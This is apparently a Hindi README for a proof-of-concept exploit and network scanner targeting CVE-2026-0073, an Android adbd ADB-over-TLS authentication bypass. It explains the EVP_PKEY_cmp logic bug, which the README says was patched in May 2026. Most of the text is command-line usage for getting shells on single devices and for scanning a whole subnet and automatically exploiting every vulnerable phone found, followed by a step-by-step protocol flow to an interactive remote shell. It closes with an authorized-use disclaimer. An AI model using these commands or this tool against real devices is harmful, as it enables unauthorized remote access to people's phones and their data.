
एंड्रॉइड 11+ डिवाइसों पर CVE-2026-0073 के लिए एक PoC टूल, जो adb over tcp सक्षम वाले किसी भी अनपैच्ड डिवाइस पर तुरंत ज़ीरो-क्लिक RCE की अनुमति देता है।
CVE-2026-0073 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और नेटवर्क स्कैनर, जो Android adbd के ADB-ओवर-TCP प्रमाणीकरण पथ में एक गंभीर
ज़ीरो-क्लिक, बिना-इंटरैक्शन रिमोट कोड निष्पादन भेद्यता है।
यह भेद्यता adbd_tls_verify_cert() (daemon/auth.cpp) में एक लॉजिक बग है, जहाँ EVP_PKEY_cmp() को एक बूलियन प्रेडिकेट के रूप में माना जाता है। जब एक संग्रहीत RSA कुंजी की तुलना एक गैर-RSA TLS क्लाइंट प्रमाणपत्र (EC P-256 या Ed25519) से की जाती है, तो API -1 (प्रकार बेमेल) लौटाता है, जो C/C++ में सत्य है। यह एक क्रॉस-एल्गोरिदम बेमेल को सफल होस्ट-कुंजी मिलान में बदल देता है — प्रमाणीकरण को पूरी तरह से बाईपास कर देता है।
तकनीकी विवरण BARGHEST से प्राप्त।
आधार PoC कोड SecTestAnnaQuinn से स्रोत।
Android सुरक्षा बुलेटिन — मई 2026 में पैच किया गया।
shell संदर्भ से एक हमलावर सिस्टम प्रॉपर्टीज़, प्रोसेस स्थिति, लॉग, सूचनाएँ देख सकता है; पैकेज इंस्टॉल और हटा सकता है; डीबग करने योग्य एप्लिकेशन के विरुद्ध run-as का उपयोग कर सकता है; और आगे के शोषण को तैयार कर सकता है।
| फ़ाइल | उद्देश्य |
|---|---|
adb_tls_auth_bypass.py | एकल-लक्ष्य एक्सप्लॉइट PoC (मूल SecTestAnnaQuinn द्वारा, चेकसम-पैच किया गया) |
adbt_scanner.py | नेटवर्क स्कैनर — कमजोर डिवाइस खोजें + उनका शोषण करें |
requirements.txt | Python निर्भरताएँ |
एक्सप्लॉइट के सफल होने के लिए, लक्ष्य Android डिवाइस में निम्न होना चाहिए:
adbd TCP सेवा)/data/misc/adb/adb_keys में कम से कम एक पहले से पेयर की गई RSA होस्ट कुंजी# वर्चुअल वातावरण बनाएं
uv venv
# इसे सक्रिय करें
source .venv/bin/activate
# निर्भरताएँ इंस्टॉल करें
uv pip install -r requirements.txt
निर्भरताएँ:
वैकल्पिक पैकेज अनुपलब्ध होने पर स्कैनर सुचारू रूप से काम करता है — यह चेतावनी देगा और वैकल्पिक तरीकों (सिस्टम ip कमांड, nmap, TCP कनेक्ट स्कैन) पर वापस आ जाएगा।
ज्ञात कमजोर डिवाइस पर सीधे हमला करें।
python3 adb_tls_auth_bypass.py 192.168.1.42 # इंटरैक्टिव शेल
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"
या स्कैनर के माध्यम से:
python3 adbt_scanner.py --host 192.168.1.42 # इंटरैक्टिव शेल
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"
कमजोर डिवाइसों के लिए स्थानीय नेटवर्क स्कैन करें और सभी पुष्टि किए गए लक्ष्यों का शोषण करें।
# पूर्ण स्कैन: mDNS → ARP → पोर्ट स्कैन → ADB प्रोब → एक्सप्लॉइट
python3 adbt_scanner.py --scan
# सभी कमजोर डिवाइसों पर एक विशिष्ट कमांड चलाएं
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"
# केवल रिकॉन — खोजें लेकिन शोषण न करें
python3 adbt_scanner.py --scan --no-exploit
# कई पोर्ट स्कैन करें
python3 adbt_scanner.py --scan --ports 5555,5580,5037
# पहचाने गए सबनेट को ओवरराइड करें (मल्टी-होमेड होस्ट, विशिष्ट रेंज)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24
# धीमे नेटवर्क के लिए टाइमआउट समायोजित करें
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10
# mDNS सुनने की विंडो बढ़ाएं
python3 adbt_scanner.py --scan --mdns-timeout 60
# विशिष्ट खोज चरणों को छोड़ें
python3 adbt_scanner.py --scan --no-mdns # mDNS छोड़ें, केवल ARP
python3 adbt_scanner.py --scan --no-arp # ARP छोड़ें, केवल mDNS
--scan कमजोर डिवाइसों के लिए नेटवर्क स्कैन करें + शोषण करें
--host HOST प्रत्यक्ष एकल-लक्ष्य एक्सप्लॉइट
--port PORT --host मोड के लिए ADB पोर्ट (डिफ़ॉल्ट: 5555)
--cmd COMMAND चलाने के लिए शेल कमांड
-v, --verbose विस्तृत लॉगिंग
--mdns-timeout SECONDS mDNS सुनने की अवधि (डिफ़ॉल्ट: 30)
--ports PORTS --scan मोड में कॉमा-सेपरेटेड पोर्ट (डिफ़ॉल्ट: 5555)
--subnet CIDR पहचाने गए सबनेट को ओवरराइड करें (जैसे 192.168.2.0/24)
--connect-timeout SECONDS TCP कनेक्ट टाइमआउट (डिफ़ॉल्ट: 2.0)
--probe-timeout SECONDS ADB प्रोब टाइमआउट (डिफ़ॉल्ट: 3.0)
--arp-timeout SECONDS ARP स्वीप टाइमआउट (डिफ़ॉल्ट: 3)
--no-mdns mDNS खोज छोड़ें
--no-arp ARP स्वीप + पोर्ट स्कैन छोड़ें
--no-exploit ADB प्रोटोकॉल प्रोब चरण के बाद रुकें
┌─────────────────────────────────────────────────────────────┐
│ 1. सबनेट पहचान — netifaces → ip route → socket ट्रिक │
│ 2. mDNS लिसनर — _adb-tls-connect._tcp (डिफ़ॉल्ट 30s) │
│ 3. ARP स्वीप — scapy.arping → nmap -sn │
│ 4. पोर्ट स्कैन — प्रत्येक होस्ट:पोर्ट पर TCP कनेक्ट │
│ 5. ADB प्रोटोकॉल प्रोब — CNXN भेजें, प्रतिक्रिया वर्गीकृत करें│
│ │
│ STLS → कमजोर (एक्सप्लॉइट के लिए आगे बढ़ें) │
│ AUTH → लीगेसी ADB प्रमाणीकरण (यह CVE नहीं) │
│ CNXN → खुला, कोई प्रमाणीकरण नहीं (पहले से सुलभ) │
│ NO_ADB → ADB सेवा नहीं │
│ │
│ 6. शोषण — TLS अपग्रेड → प्रमाणीकरण बाईपास → शेल │
└─────────────────────────────────────────────────────────────┘
mDNS सबसे सटीक पहचान विधि है: जब वायरलेस डिबगिंग पेयर की जाती है, तो Android स्पष्ट रूप से _adb-tls-connect._tcp प्रसारित करता है। ARP स्वीप + पोर्ट स्कैन एक कैच-ऑल फ़ॉलबैक के रूप में कार्य करता है।
चरण 1 — क्लियरटेक्स्ट ADB
क्लाइंट → CNXN(payload="host::features=...")
डिवाइस → STLS (TLS में अपग्रेड आवश्यक)
चरण 2 — क्रॉस-एल्गोरिदम क्लाइंट प्रमाणपत्र के साथ TLS 1.3
क्लाइंट → STLS उत्तर
क्लाइंट → TLS 1.3 हैंडशेक + EC P-256 क्लाइंट प्रमाणपत्र
डिवाइस adbd_tls_verify_cert() कॉल करता है:
known_evp = /data/misc/adb/adb_keys से RSA कुंजी
evp_pkey = क्लाइंट प्रमाणपत्र से EC P-256 कुंजी
EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (प्रकार बेमेल)
if (-1) → verified = true ← बग: -1 सत्य है
चरण 3 — पोस्ट-TLS ADB सेवा परत
क्लाइंट डिवाइस CNXN ड्रेन करता है (ट्रांसपोर्ट पहले से ऑनलाइन)
कोई होस्ट CNXN नहीं भेजा जाता (handle_new_connection किक ट्रिगर होगा)
क्लाइंट → OPEN(local_id, window=32MB, payload="shell:\x00")
डिवाइस → OKAY → शेल स्ट्रीम स्थापित
shell (uid=2000) संदर्भ प्रदान करता है। कर्नेल समझौता, रूट एक्सेस और हार्डवेयर-समर्थित कीस्टोर कुंजियों के लिए अतिरिक्त उन्नयन की आवश्यकता होती है।/data/misc/adb/adb_keys में कम से कम एक RSA होस्ट कुंजी होनी चाहिए। वायरलेस डिबगिंग सक्षम लेकिन कभी पेयर नहीं की गई ताज़ा रीसेट डिवाइस कमजोर नहीं है।STLS के बजाय AUTH के साथ प्रतिक्रिया करते हैं, और इस CVE से प्रभावित नहीं होते हैं।EVP_PKEY_cmp जांच को सटीक == 1 रिटर्न मान की आवश्यकता के लिए बदलता है।यह सॉफ़्टवेयर केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। इस रिपॉजिटरी में उपकरण और कोड सुरक्षा पेशेवरों, शोधकर्ताओं और डिवाइस मालिकों की सहायता के लिए हैं:
आपको इस सॉफ़्टवेयर का उपयोग नहीं करना चाहिए:
कंप्यूटर सिस्टम तक अनधिकृत पहुंच अधिकांश न्यायक्षेत्रों में अवैध है और इसके परिणामस्वरूप आपराधिक और नागरिक दंड हो सकते हैं। लेखक और योगदानकर्ता इस सॉफ़्टवेयर के उपयोग से उत्पन्न दुरुपयोग, क्षति या कानूनी परिणामों के लिए कोई दायित्व नहीं मानते हैं।
जिम्मेदारी से उपयोग करें। अपने लक्ष्य को जानें। अनुमति प्राप्त करें।
CC0 1.0 यूनिवर्सल — कोई अधिकार सुरक्षित नहीं।
कानून द्वारा संभव सीमा तक, लेखकों ने इस कार्य के सभी कॉपीराइट और संबंधित या पड़ोसी अधिकारों को त्याग दिया है।
| विशेषता | विवरण |
|---|
| हमला वेक्टर | नेटवर्क (आसन्न / निकटवर्ती) |
| इंटरैक्शन | कोई नहीं (ज़ीरो-क्लिक) |
| प्राप्त विशेषाधिकार | shell उपयोगकर्ता (uid=2000), SELinux u:r:shell:s0 |
| एक्सप्लॉइट प्रिमिटिव | ADB के माध्यम से रिमोट शेल एक्सेस |
| CVSS | गंभीर (9.8) |
| पैकेज | किसके द्वारा उपयोग | आवश्यक? |
|---|
cryptography | दोनों स्क्रिप्ट (EC प्रमाणपत्र निर्माण, TLS) | हाँ |
netifaces | स्कैनर (सबनेट पहचान) | पसंदीदा |
zeroconf | स्कैनर (mDNS खोज) | पसंदीदा |
scapy | स्कैनर (ARP स्वीप) | पसंदीदा |